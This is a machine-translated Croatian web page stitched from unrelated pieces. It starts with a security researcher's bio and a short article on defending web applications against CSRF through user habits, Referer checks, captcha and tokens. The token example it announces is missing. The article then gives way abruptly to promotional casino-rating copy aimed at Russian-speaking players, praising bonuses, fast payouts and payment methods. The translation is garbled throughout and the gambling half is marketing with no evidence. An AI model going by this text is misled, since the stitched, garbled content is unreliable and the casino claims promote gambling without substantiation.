Sergey Gordeychik radi kao sistemski arhitekt u tvrtki Positive Technologies, gdje se specijalizirao za sigurnost aplikacija, bežičnu i mobilne tehnologije. Autor je također glavni programer Sigurnosti bežične mreže“, „Analiza i procjena sigurnosti web aplikacija“ Informzashita trening centra. Objavio nekoliko desetaka članaka u “Windows IT Pro/RE”, SecurityLab i drugim publikacijama. Je član Web projekti Konzorcij za sigurnost aplikacija (WASC).
Pokušao sam opisati koja je to točno ranjivost i, što je još važnije, koji su uvjeti potrebni za izvođenje CSRF napada.
U ovom ću članku pokušati govoriti o zaštiti od napada ove vrste sa strane:
- Sa strane klijenta - glavni načini da se zaštitite
- Poslužiteljska strana - pravilan dizajn aplikacije
Ako vas zanima kako se zaštititi od CSRF-a, onda dobrodošli na cat.
Općenito, želim vas podsjetiti da CSRF NIJE ranjivost, to je vrsta napada. I ovaj napad provodi se na krajnjem korisniku web aplikacije koristeći ranjivost u ovu aplikaciju, što se može nazvati "Nedostatak odgovarajuće provjere izvora zahtjeva" (naziv sam smislio sam, nemojte strogo suditi, ali to je istina). Ali u nastavku ću CSRF zvati ranjivost i napad spojeni u jedno jer je jednostavnije, a to je način na koji se prihvaća =)
A budući da se napad vrši na korisnika, onda se korisnik mora braniti... šalim se =) Činjenica je da svaki korisnik može smanjiti mogućnost ovog napada na bilo kojoj stranici koju koristi (čak i ako te stranice nemaju ugrađena zaštita od CSRF). No, osim korisnika, i sami programeri stranica mogu dizajnirati svoju aplikaciju na način da spriječe mogućnost izvođenja ovog napada na svoje korisnike.
Pogledajmo zaštitu s obje strane.
Zaštita korisnikaOpćenito, ovdje je sve vrlo banalno:
- Nemojte klikati na poveznice koje vam nude treće strane. Ovo je najbanalniji savjet, mislim da to već svi znaju, ali ja sam ga ipak odlučio ponoviti.
- Deautorizirajte nakon završetka rada s određenim mjestom. Čak i ako postoji ranjivost, napadač neće moći izvršiti radnje na ciljnom mjestu u vaše ime.
- Koristite zasebni preglednik ili "privatni ili anonimni načini rada» za rad s važnim stranicama (idealno koristiti jedan preglednik za svaku stranicu ^_^ ili još bolje zasebno računalo: D).
To je sve. Sada prijeđimo na ono glavno.
Zaštita programeraKao što je već spomenuto, ranjivost leži u nedostatku odgovarajuće provjere izvora zahtjeva. Odnosno, kada razvijamo aplikaciju, moramo ugraditi funkcionalnost za provjeru ovog izvora. I što nam prvo pada na pamet? Pravo! Provjera preporuke.
Provjera preporukeReći ću odmah, za one koji čitaju članke dijagonalno. Loše je (!) temeljiti svoju obranu samo na provjeri ovog zaglavlja. Zašto – pogledajte u nastavku.
Prvo, shvatimo što je ova metoda.
Radimo s web stranicama koje koriste HTTP protokol. Svaki paket ovog protokola je skup zaglavlja + sadržaj paketa. Jedno od tih zaglavlja je Referer. Sadrži adresu izvora preporuke. Trivijalan primjer: imate otvorenu stranicu A, na ovoj stranici kliknete na poveznicu na stranicu B, u ovom trenutku, kada napravite zahtjev, Referer header će sadržavati adresu stranice A. Odnosno, čini se da je ovo idealan mehanizam za praćenje odakle je korisnik došao.
Evo hrena. A poanta ovdje nije da se referer može lažirati (koji bi zdrav haker tražio od žrtve da zamijeni referera i slijedi navedeni link). A činjenica je da, prema mojoj statistici, oko 5% korisnika ima isključen Referer prijenos. Odnosno, ili tih pet posto uopće neće moći raditi s web mjestom ili će biti ranjivi na ovaj napad (ovisno o politici vaše aplikacije).
Da, da, da, znam što mislite... Pa, koji vrag s ovih 5%? Neka budu ranjivi, ali preostalih 95% je zaštićeno, a u isto vrijeme koštate malo krvi. Odnosno, ako referer sadrži adresu naše aplikacije ili je prazan, onda izvor smatramo potvrđenim? Evo opet hrena! Postoje opcije za prisiljavanje preglednika žrtve da ispuni zahtjev bez navođenja referera (pisao sam o tome)! I evo! Ispostavilo se da su svi korisnici još uvijek ranjivi.
Općenito kao samostalna metoda ovu metodu besmislen.
Potvrda akcijeMožete priložiti captcha uz svaki obrazac za slanje i pokazati ga čak i registriranim korisnicima kako biste ih spasili od CSRF-a... Iako bih, možda, radije dao svoj račun hakeru nego da radim u takvom sustavu...
TokeniPa, sada jedini ispravan i pouzdan način.
Značenje ovu metodu sastoji se od dodavanja parametra koji sadrži neke "žetone" svakoj vezi, obrascu za podnošenje itd. A kada primi zahtjev, poslužitelj mora provjeriti prisutnost ovog tokena u prihvaćenim parametrima. Naravno, svaki token za svakog korisnika mora biti jedinstven, a još bolje ako je svaki token jedinstven.
Jedan od najjednostavnijih i najpouzdanijih primjera implementacije - novi token se generira sa svakim zahtjevom i instalira u korisnikove kolačiće te se također dodaje u parametre obrazaca i poveznica na stranici:
Zatim se, po primitku svakog zahtjeva, token iz kolačića uspoređuje s tokenom navedenim u parametrima obrasca. A ako su isti, onda je izvor zahtjeva legalan. Zatim se token ponovno generira i ponovno postavlja u kolačić itd. krug.
Općenito, implementacija može biti drugačija, ali problem je u tome što je prelazak na tokene prilično težak jer morate uzeti u obzir svaki link, svaki obrazac, svaku stranicu... Možete zaštititi samo važne stranice/forme/linkove, ali tada postoji mogućnost da propustite neke od njih.
Ja osobno štitim samo POST obrasce i vrlo važne poveznice. Odnosno, POST u mojim aplikacijama ne radi bez ispravnog tokena. To eliminira mogućnost da zaboravim zaštititi neki obrazac, jer jednostavno neće raditi, a ja ću to odmah primijetiti.
ZaključakNadam se da ste iz ovog članka shvatili kako se zaštititi od CSRF napada.
Pronalaženje pouzdanih i poštenih online kockarnica zahtijeva puno slobodnog vremena, posebno kada su u pitanju početnici. Potrebno je procijeniti transparentnost igračkog kluba, online reputaciju, recenzije drugih korisnika, brzinu plaćanja i mnoge druge operativne čimbenike. Kako bismo spasili igrače od takve sudbine, sastavili smo ocjenu kockarnica koja su prošla temeljitu provjeru i potvrdila vlastito poštenje i dobre povrate od automata.
Naša ocjena najboljih kasinaNema više potrebe za trošenjem osobno vrijeme provjeriti pouzdanost uspostave. Iskusni analitičari specijalizirani za kockanje koji mjesečno provode desetke sati u kockarnicama napravili su vlastitu objektivnu procjenu rada igračkih klubova. Analizirali su stotine objekata kako bi u konačnici korisnicima ponudili najbolje platforme dostupne na internetu.
Početni popis klubova bio je prilično velik, ali su tijekom procesa analize eliminirani sumnjivi i nepouzdani objekti. Na primjer, prisutnost lažne licence, nedostatak certifikata za utore, zamjena poslužitelja u automatu i još mnogo toga služi kao upozorenje stručnjacima. Čak i jedan čimbenik koji vam omogućuje da sumnjate u integritet kockarnice je razlog za isključenje iz ocjene.
Osim površne analize gaming platformi, provjeravaju se informacije o objektima na internetu. U analizi se uzimaju u obzir internetska reputacija, recenzije sadašnjih i bivših igrača, prisutnost konfliktnih situacija, skandali u kockarnicama i načini rješavanja problema kreatora. Posebna pažnja posvećuje se mladim klubovima do 1-2 godine iskustva.
Kako se sastavlja ocjena kasina i tko tu dolazi?Za izradu ocjene licenciranih kasina privlačimo iskusne kockare i analitičare s više od 10 godina iskustva u industriji. Zahvaljujući svom znanju, lako mogu eliminirati lažne klubove, a zatim provesti temeljitu analizu preostalih klubova. Rezultat je mali popis pouzdanih kasina u kojima možete sigurno igrati bez straha za poštenje rezultata i isplatu dobitaka.
- dostupnost licence regulatora igara na sreću i odabrane jurisdikcije za registraciju;
- sigurnost platforme, koja jamči povjerljivost podataka i informacija o plaćanju;
- odabir licenciranog softvera pouzdanih dobavljača u čiji se rad ne može ometati;
- dostupnost verzije na ruskom jeziku za veću pogodnost za korisnike iz Rusije i zemalja ZND-a;
- služba podrške, uključujući njen raspored rada, brzinu odgovora, kvalitetu rješavanja problema;
- podizanje novca bez dodatnih odgoda ili provjera, kao i mogućnosti primanja novca i brzine obrade transakcija;
- bonus programi za nove i stalne korisnike, prisutnost turnira, lutrija, periodične promocije;
- sustavi plaćanja koji utječu na pogodnost kupaca da nadopune svoje račune i povuku dobitke.
Ovo je samo mali popis trenutnih zahtjeva koje procjenjuju stručnjaci. Svaki kriterij dobiva svoj koeficijent važnosti koji se uzima u obzir pri zbrajanju konačnog rezultata.
Što je licencirani casino?Ocjene kasina, koje pokazuju poštenje i transparentnost platformi za igre na sreću, mogu se sastojati isključivo od objekata s važećim licencama za rad. Zakonski klubovi moraju proći provjeru regulatora i pridržavati se svih njihovih pravila kako bi dobili dopuštenje.
Samo spominjanje prisutnosti licence na stranici nije dovoljno. Stručnjaci shvaćaju da prevaranti mogu koristiti logotipe kako bi zavarali naivne korisnike, pa samostalno analiziraju informacije. Da biste to učinili, idite na službenu web stranicu regulatora i koristite broj ili naziv dokumenta pravna osoba potvrdite informaciju. Ako nema podataka o licenci, onda je lažna.
Analitičari također koriste tehničku analizu za provjeru licenciranog softvera. Pomoću alata za razvojne programere dobivaju pristup informacijama o poslužitelju podataka. Ako casino koristi službeni portal pružatelja softvera, tada je softver pošten i legalan. To znači da se ne možete miješati u njegov rad i dirati u konačne rezultate.
Kako se utvrđuje pravednost kasina?Prilično je teško samostalno procijeniti integritet igračkog kluba, što je posljedica količine raspoloživih resursa i znanja. Prije uključivanja objekata u ocjenu poštenih kockarnica, analitičari pažljivo provjeravaju mnoge čimbenike:
- regije iz kojih se primaju igrači, budući da zabranjene jurisdikcije govore mnogo;
- ograničenja povlačenja koja ograničavaju jednokratne transakcije, kao i dnevni, tjedni i mjesečni iznos transakcija;
- dostupnost informacija o KYC i AML, što ukazuje na usklađenost sa zahtjevima zakonodavstva o poštenju i zakonitosti podrijetla novca;
- ugled koji potvrđuje poštenje i pouzdanost rada kluba i nepostojanje skandala ili problema visokog profila;
- trajanje rada, što vam omogućuje da u potpunosti procijenite povijest mrežnog resursa, uključujući sve prednosti i nedostatke;
- prisutnost regulatora i poštivanje njegovih pravila, što povećava šanse za pošteno poslovanje.
Licenca i regulator vrlo su važni kriteriji, ali to ne daje 100% jamstvo poštenja. Na takav naslov mogu računati samo klubovi koji su igračima dopuštali velike dobitke i jackpotove, davali darove za lutrije i turnire.
Vrste automata za igre na srećuBroj automata, automata i drugih vrsta kockarske zabave govori mnogo o objektu. Neki klubovi surađuju samo s nekoliko pružatelja softvera, ali od njih dobivaju popularne i nove ponude igara, dok drugi šire svoju mrežu partnerskih ugovora i pozivaju veliki broj brendova na suradnju. Što je više strojeva predstavljeno na platformi za igranje, to je klijentu lakše odabrati slot koji mu se sviđa.
Ali ocjena licenciranih kasina uzima u obzir ne samo raznolikost igara, već i njihovu kvalitetu. Pouzdani objekti za igre na sreću koriste isključivo licencirani softver koji je testiran na pravednost i sigurnost. Takvi strojevi omogućuju vam da računate na povrate do 98%, a ne možete se miješati u njihov rad i podešavati algoritam za generiranje rezultata.
Da budem iskren, sve stranice su usmjerene na stvaranje profita. Čak i ako jedan od igrača osvoji jackpot, ustanova dugoročno ostaje u plusu. Ali samo pošteni klubovi dopuštaju korisnicima da dobiju veliki jackpot i povuku ga na pravi račun. To je ono što razlikuje licencirana online kasina od lažnih projekata.
Politika bonusaNemoguće je stvoriti ocjenu kasina bez uzimanja u obzir politike bonusa. Svi igrački klubovi koriste promocije i darove kako bi privukli nove i zadržali postojeće kupce. Ali neke ustanove djeluju prilično lukavo, stvarajući skrivene uvjete za klađenje ili obračunavanje, postavljajući nerealne uvjete klađenja u rasponu od x60-100, koje je gotovo nemoguće ispuniti.
Standardni skup poticaja sastoji se od sljedećih kategorija:
Prilikom sastavljanja ocjene najboljih kockarnica 2020. godine uzima se u obzir prisutnost ruskog jezika na platformi. Sučelje na ruskom jeziku omogućuje korisnicima iz Rusije, Bjelorusije, Ukrajine i zemalja ZND-a da lako razumiju registraciju, prijavu, nadopunu računa i druge značajke platforme. To također potvrđuje da je establišment usmjeren na Korisnici koji govore ruski, nudeći im jedinstvene bonuse i podršku.
Uzima se u obzir rad službe podrške. Većina kockarskih klubova pruža pomoć klijentima isključivo na Engleski jezik, što komplicira komunikacijski proces. Morate upotrijebiti prevoditelja ili kontaktirati obrazovane osobe kako biste podnijeli zahtjev i razumjeli odgovor podrške. Stoga ocjena uključuje samo one online klubove koji savjetuju klijente u chatovima podrške i telefonom na ruskom jeziku.
Sučelje na ruskom jeziku u kockarnici omogućit će vam da bez dodatnog napora razumijete korisnička pravila platforme, proučite bonus ponude i značajke njihovog prikupljanja, klađenja i sudjelujete u turnirima i lutrijama bez ikakve sumnje u ispravnost akcije.
Casino s brzim isplatamaPosebna pažnja posvećena je brzini isplata u online kasinima. Neki klubovi nude povlačenje sredstava na bankovne kartice i elektroničkih novčanika u roku od nekoliko sati, a za VIP klijente zahtjevi se obrađuju trenutno. Drugi koriste ručnu obradu zahtjeva radnim danima prema posebnom rasporedu, tako da plaćanja mogu kasniti do 1-3 radna dana od datuma zahtjeva. Kako bi se korisnici spasili od dugog čekanja, stvorena je ocjena kasina s brzim isplatama.
Sastoji se isključivo od onih institucija koje promptno razmatraju sve zahtjeve i ne stvaraju prepreke za dobivanje novca. Ne uzima se u obzir samo brzina prijenosa, već i nepostojanje problema prilikom traženja velikih uplata ili prijenosa novca nakon osvajanja jackpota ili velikog jackpota. Samo poštene ustanove mogu jamčiti pravednost plaćanja i odsutnost problema s plaćanjem.
Također se provodi analiza dostupnih sustava plaćanja za depozite i zahtjeve za novcem. Standardne stranice podržavaju minimalan broj metoda, ali napredni klubovi neprestano analiziraju trendove kako bi integrirali nova tehnička rješenja.
Glavni sustavi plaćanja u online kasinima:
- bankovne kartice MIR, MasterCard, Visa;
- elektronički novčanici QIWI, Yandex, Webmoney, Neteller, Skrill i drugi;
- mobilna plaćanja Beeline, MegaFon, MTS, TELE2;
- rusko internet bankarstvo;
- popularne kriptovalute, uključujući Bitcoin, Ethereum, Litecoin.
Važan čimbenik koji je uzet u obzir kako bi se stvorila ocjena poštenih kasina je dostupnost korisničke podrške i kvaliteta njezina rada. Pouzdane ustanove brinu o vlastitoj bazi klijenata, pa organiziraju posebne telefonske linije, kao i online chatove za brzo odgovaranje na pitanja korisnika i rješavanje njihovih problema.
Kako bi analizirali podršku, analitičari su koristili telefonske linije, live chatove i kontakte putem e-pošte. U različito doba dana, zaposlenici stranice su primali razna pitanja ili zahtjeve za rješavanje tehničkih problema. Nakon toga procijenjena je kvaliteta njihovog rada koja je uključivala sljedeće čimbenike:
- brzina odgovora;
- rješava li konzultant problem i koliko je potrebno;
- pismenost odgovora i dostupnost pomoćnog osoblja koje govori ruski.
Ako kockarnica nema operatere koji govore ruski, preporučujemo korištenje Googleovog online prevoditelja za prevođenje pitanja i odgovora konzultanata.
zaključkePrije registracije u online klubu morate analizirati pouzdanost i transparentnost njegovog rada, kao i provjeriti njegovu reputaciju i recenzije na internetu. Umjesto toga, predlažemo korištenje ocjene poštenih kasina koju su sastavili iskusni kockari. Koristeći vlastito iskustvo, odbacili su desetke sumnjivih igračkih klubova, ostavljajući na popisu najbolje ustanove 2020. godine.